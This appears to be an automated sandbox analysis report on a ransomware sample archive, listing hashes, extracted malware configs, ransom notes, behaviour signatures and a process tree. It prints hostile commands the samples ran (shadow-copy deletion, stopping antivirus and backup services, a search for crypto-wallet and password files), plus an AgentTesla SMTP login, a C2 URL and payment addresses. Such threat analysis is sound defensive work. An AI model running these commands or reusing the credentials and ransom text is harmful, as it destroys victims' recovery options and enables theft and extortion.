Overview

overview

10

Static

static

1

RNSM00380.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    52s
  • max time network
    424s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-11-2024 22:46

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RNSM00380.7z

  • Size

    16.4MB

  • MD5

    d52392253e837d87a4d550b3b0e17ebb

  • SHA1

    f11f1b17d06b749034346cdddac52007aca54926

  • SHA256

    c019141bc3d483634d38672e50660478aa452db9066da062e72cd099a7d4937a

  • SHA512

    a79021e35a83223e47371f9468ecba168dcb02b806a7d2b97a0e915047d8249cc9c78766f3abfec25d50241ec96356f5d3bd4588ce2bc05e92d27318ea96f6e1

  • SSDEEP

    393216:8Iy7MoOupjBZ1VPIIwiV2NQVk9V0J0vTIdwJ1KXtaGXPJ1:Zy7MPuRvTPzYD957Id6ikWJ1

Score
10/10
agentteslaazorulthakbitmazezgratdefense_evasiondiscoveryevasionexecutionimpactinfostealerkeyloggerransomwareratspywarestealertrojan

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:     smtp
  • Host:
    smtp.jpme.org.in
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    Ehimembano1@

Extracted

Family

azorult

C2

http://23.249.162.26/DB1/index.php

Extracted

Path

C:\Users\Admin\YOUR_FILES_ARE_ENCRYPTED.TXT

Ransom Note
SEON RANSOMWARE ver 0.2 all your files has been encrypted There is only way to get your files back: contact with us We accept Bitcoin and other cryptocurrencies Do not try to reinstall operation system on your computer Do not try to decrypt files with third party tools, this can lead to data loss You can decrypt 1 file for free Our contact emails: [email protected] [email protected]

Extracted

Path

F:\$RECYCLE.BIN\S-1-5-21-940901362-3608833189-1915618603-1000\YIPBAPHO-DECRYPT.txt

Ransom Note
---= GANDCRAB V5.0.4 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE ARE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .YIPBAPHO The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/81370634933a7906 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZCToNRtXYd7n1Wp7fZTG6Hhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wNmoQoAHZIP7k/TfrG1tVzlDb3jcZAB3gql9dnWN0lCD4xdg7bDNQrvH1xSi3FCw+6kfktKtizqdynr7r154JiurEmkUXB6OKl/2U2FusmGt1Yb1qHBi7trhHVEYgbpicb4tm4Pab3Y5NyPYz32XaispQRTRkqF1PXJPcJ15EHwNAoARPLnK8+Au5ZALyfhGEwg6hrKQ3vxBFKwg70Zi7pCBFK3vzLN+av1wMZNXQWRl2KYDmn1lvgAn90mSDf7SyGQSZnn7Ivlsuw7HIKVYbpfzf2fBccdMBnP2lNhH9QQ3jC3KZBEuXtJUiuBZ9MNJGhHpcOfb/HRd0Psok9V+butLOnzJ/9bHYIh8kz6+xMRettGP+Pbn3W/eJIXs9ebdQm9EdhJFLd2qBglmnMLQYzygtAfj75QWEAiTIEnbJST+zbSAE= ---END PC DATA---
URLs

http://gandcrabmfe6mnef.onion/81370634933a7906

Extracted

Path

C:\PerfLogs\DECRYPT-FILES.txt

Family

maze

Ransom Note
Attention! ---------------------------- | What happened? ---------------------------- All your files, documents, photos, databases, and other important data are safely encrypted with reliable algorithms. You cannot access the files right now. But do not worry. You have a chance! It is easy to recover in a few steps. ---------------------------- | How to get my files back? ---------------------------- The only method to restore your files is to purchase a unique for you private key which is securely stored on our servers. To contact us and purchase the key you have to visit our website in a hidden TOR network. There are general 2 ways to reach us: 1) [Recommended] Using hidden TOR network. a) Download a special TOR browser: https://www.torproject.org/ b) Install the TOR Browser. c) Open the TOR Browser. d) Open our website in the TOR browser: http://aoacugmutagkwctu.onion/87c2097c933a7906 e) Follow the instructions on this page. 2) If you have any problems connecting or using TOR network a) Open our website: https://mazedecrypt.top/87c2097c933a7906 b) Follow the instructions on this page. Warning: the second (2) method can be blocked in some countries. That is why the first (1) method is recommended to use. On this page, you will see instructions on how to make a free decryption test and how to pay. Also it has a live chat with our operators and support team. ---------------------------- | What about guarantees? ---------------------------- We understand your stress and worry. So you have a FREE opportunity to test a service by instantly decrypting for free three files on your computer! If you have any problems our friendly support team is always here to assist you in a live chat! ------------------------------------------------------------------------------- THIS IS A SPECIAL BLOCK WITH A PERSONAL AND CONFIDENTIAL INFORMATION! DO NOT TOUCH IT WE NEED IT TO IDENTIFY AND AUTHORIZE YOU ---BEGIN MAZE KEY--- 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 ---END MAZE KEY---
URLs

http://aoacugmutagkwctu.onion/87c2097c933a7906

https://mazedecrypt.top/87c2097c933a7906

Extracted

Path

C:\Users\Admin\Desktop\HELP_ME_RECOVER_MY_FILES.txt

Family

hakbit

Ransom Note
Atention! all your important files were encrypted! to get your files back send 0.5 Bitcoin and contact us with proof of payment and your Unique Identifier Key. We will send you a decryption tool with your personal decryption password. Where can you buy Bitcoins: https://www.coinbase.com https://localbitcoins.com Contact: [email protected]. Bitcoin wallet to make the transfer to is: 1Kex5QmBGtJLDagn3o2p1yoqyKn2A6EFG9 Unique Identifier Key (must be sent to us together with proof of payment): ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ LyQpSGKEbHZjCQtz2WSeDUBx57eBPPWaditCNis6mroXyBuWQftOJvLuqtZ6wLM2CSwW+x6sYplOLxG9qtHntzzal5KG79faaDmPHle6DDOpyMvB3F1yA9r3WQnlqcdUxJgWkCWoU1Bs+REb+6qrX+z5shlqa/a5Cz8fjDc7O5rmoYZTQEnQDUje4zVootNs+e/lbUXPoMEnXBnM1OflUHsETO9q5qIYaLVfW07Fn9pGeSHiy0L9pNyNdM9g075r57j5E2f1AlTe0GPjh1Yve6BCuH7tMOeiYY8NhxWa6WfHoqkn/H1ItMoCIrLjm2RRt2bpKhUzDLuSXyTjxcpTNg== ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Number of files that you could have potentially lost forever can be as high as: 22
Wallets

1Kex5QmBGtJLDagn3o2p1yoqyKn2A6EFG9

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • Agenttesla family
    agenttesla
  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • Azorult family
    azorult
  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect ZGRat V2 1 IoCs
  • Disables service(s) 3 TTPs
    evasionexecution
  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

    ransomwarehakbit
  • Hakbit family
    hakbit
  • Maze

    Ransomware family also known as ChaCha.

    trojanransomwaremaze
  • Maze family
    maze
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Zgrat family
    zgrat
  • AgentTesla payload 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Contacts a large (1609) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 64 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 18 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 3 IoCs
    evasion
  • Opens file in notepad (likely ransom note) 2 IoCs
    ransomware
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00380.7z"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:436
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3080
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /1
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1840
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4460
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:632
      • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.MSIL.Crypmod.gen-3211ffd5385a22a9011a8f835eced87e84cec70258067681d8af11b337e58232.exe
        HEUR-Trojan-Ransom.MSIL.Crypmod.gen-3211ffd5385a22a9011a8f835eced87e84cec70258067681d8af11b337e58232.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:808
        • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.MSIL.Crypmod.gen-3211ffd5385a22a9011a8f835eced87e84cec70258067681d8af11b337e58232.exe
          "HEUR-Trojan-Ransom.MSIL.Crypmod.gen-3211ffd5385a22a9011a8f835eced87e84cec70258067681d8af11b337e58232.exe"
          4⤵
            PID:6260
            • C:\Windows\SysWOW64\wbem\wmic.exe
              "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
              5⤵
                PID:9336
          • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.MSIL.Crypren.gen-15856152e8961ae0ff0861f935cc21b930c9f1b1f5327e3d6d99dbe6902dee51.exe
            HEUR-Trojan-Ransom.MSIL.Crypren.gen-15856152e8961ae0ff0861f935cc21b930c9f1b1f5327e3d6d99dbe6902dee51.exe
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4276
          • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.MSIL.Encoder.gen-a33dab6d7adb83691bd14c88d7ef47fa0e5417fec691c874e5dd3918f7629215.exe
            HEUR-Trojan-Ransom.MSIL.Encoder.gen-a33dab6d7adb83691bd14c88d7ef47fa0e5417fec691c874e5dd3918f7629215.exe
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:812
            • C:\Windows\SysWOW64\tasklist.exe
              "tasklist" /V /FO CSV
              4⤵
              • Enumerates processes with tasklist
              PID:2820
          • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Blocker.gen-7ef5d52f3932900ab7df61a8f7406965279af4a0865ec28c333b75d65b8793cb.exe
            HEUR-Trojan-Ransom.Win32.Blocker.gen-7ef5d52f3932900ab7df61a8f7406965279af4a0865ec28c333b75d65b8793cb.exe
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1052
            • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Blocker.gen-7ef5d52f3932900ab7df61a8f7406965279af4a0865ec28c333b75d65b8793cb.exe
              "{path}"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:4248
          • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Convagent.gen-a9d592579e11f43dd46c7132cede4802aeebae10bd367efd41d6c98a5f9e486c.exe
            HEUR-Trojan-Ransom.Win32.Convagent.gen-a9d592579e11f43dd46c7132cede4802aeebae10bd367efd41d6c98a5f9e486c.exe
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5004
          • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Cryakl.gen-2bb2343ed57adb4b139cafaa10e91ac0c82a0f66d21de32cb012b775f3fe1a21.exe
            HEUR-Trojan-Ransom.Win32.Cryakl.gen-2bb2343ed57adb4b139cafaa10e91ac0c82a0f66d21de32cb012b775f3fe1a21.exe
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2376
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\ProgramData\abkrlnduo\fjchsuw.bat" "
              4⤵
              • System Location Discovery: System Language Discovery
              PID:3268
              • C:\Windows\SysWOW64\chcp.com
                chcp 65001
                5⤵
                  PID:4236
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c dir /a:-d /b /s ""c:"\*ledger*.txt" ""c:"\*trezor*.txt" ""c:"\coin*.txt" ""c:"\private*.txt" ""c:"\eth*.txt" ""c:"\jaxx*.txt" ""c:"\exodus*.txt" ""c:"\seed*.txt" ""c:"\mnemonic*.txt" ""c:"\*monero*.txt" ""c:"\crypt*.txt" ""c:"\wallet*.txt" ""c:"\electrum*.txt" ""c:"\xrp.txt" ""c:"\ripple.txt" ""c:"\btc*.txt" ""c:"\2fa*.txt" ""c:"\pass*.txt" ""c:"\*money*.txt" ""c:"\*ledger*.doc*" ""c:"\*trezor*.doc*" ""c:"\*coin*.doc*" ""c:"\private*.doc*" ""c:"\eth*.doc*" ""c:"\jaxx*.doc*" ""c:"\exodus*.doc*" ""c:"\seed*.doc*" ""c:"\mnemonic*.doc*" ""c:"\*monero*.doc*" ""c:"\*crypt*.doc*" ""c:"\wallet*.doc*" ""c:"\electrum*.doc*" ""c:"\xrp*.doc*" ""c:"\ripple*.doc*" ""c:"\btc*.doc*" ""c:"\2fa*.doc*" ""c:"\pass*.doc*" ""c:"\money*.doc*" ""c:"\*ledger*.xlsx" ""c:"\*trezor*.xlsx" ""c:"\coin*.xlsx" ""c:"\private*.xlsx" ""c:"\eth*.xlsx" ""c:"\jaxx*.xlsx" ""c:"\exodus*.xlsx" ""c:"\*seed*.xlsx" ""c:"\crypt*.xlsx" ""c:"\wallet*.xlsx" ""c:"\electrum*.xlsx" ""c:"\btc*.xlsx" ""c:"\2fa*.xlsx" ""c:"\pass*.xlsx" ""c:"\btc.jpg" ""c:"\2fa.jpg" ""c:"\coin.jpg" ""c:"\ether.jpg" ""c:"\seed.jpg" ""c:"\wallet.jpg"
                  5⤵
                    PID:8064
              • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Crypmod.gen-5cd3ee5cfb9241ad12e7dae0cd9c2764d91deee58e1a07bb37c544bc8eb57448.exe
                HEUR-Trojan-Ransom.Win32.Crypmod.gen-5cd3ee5cfb9241ad12e7dae0cd9c2764d91deee58e1a07bb37c544bc8eb57448.exe
                3⤵
                • Executes dropped EXE
                PID:3172
              • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.GandCrypt.gen-8f7feaeb31f6c6b7056b05a252ac0531a8fbb7488fd26791d0aec433d21c07fd.exe
                HEUR-Trojan-Ransom.Win32.GandCrypt.gen-8f7feaeb31f6c6b7056b05a252ac0531a8fbb7488fd26791d0aec433d21c07fd.exe
                3⤵
                  PID:2128
                  • C:\Windows\V49050494020\winsvcin32.exe
                    C:\Windows\V49050494020\winsvcin32.exe
                    4⤵
                      PID:3168
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 416
                      4⤵
                      • Program crash
                      PID:4864
                  • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Generic-81e81f0bbbdb831eda215033b7a7dbf2eed3812f4e58118f181a8e99e613179e.exe
                    HEUR-Trojan-Ransom.Win32.Generic-81e81f0bbbdb831eda215033b7a7dbf2eed3812f4e58118f181a8e99e613179e.exe
                    3⤵
                      PID:2064
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "powershell" Get-MpPreference -verbose
                        4⤵
                          PID:2716
                        • C:\Windows\SYSTEM32\net.exe
                          "net.exe" stop avpsus /y
                          4⤵
                            PID:2488
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 stop avpsus /y
                              5⤵
                                PID:8172
                            • C:\Windows\SYSTEM32\net.exe
                              "net.exe" stop McAfeeDLPAgentService /y
                              4⤵
                                PID:8696
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
                                  5⤵
                                    PID:6040
                                • C:\Windows\SYSTEM32\net.exe
                                  "net.exe" stop mfewc /y
                                  4⤵
                                    PID:6960
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 stop mfewc /y
                                      5⤵
                                        PID:9512
                                    • C:\Windows\SYSTEM32\net.exe
                                      "net.exe" stop BMR Boot Service /y
                                      4⤵
                                        PID:9380
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 stop BMR Boot Service /y
                                          5⤵
                                            PID:376
                                        • C:\Windows\SYSTEM32\net.exe
                                          "net.exe" stop NetBackup BMR MTFTP Service /y
                                          4⤵
                                            PID:388
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
                                              5⤵
                                                PID:1436
                                            • C:\Windows\SYSTEM32\sc.exe
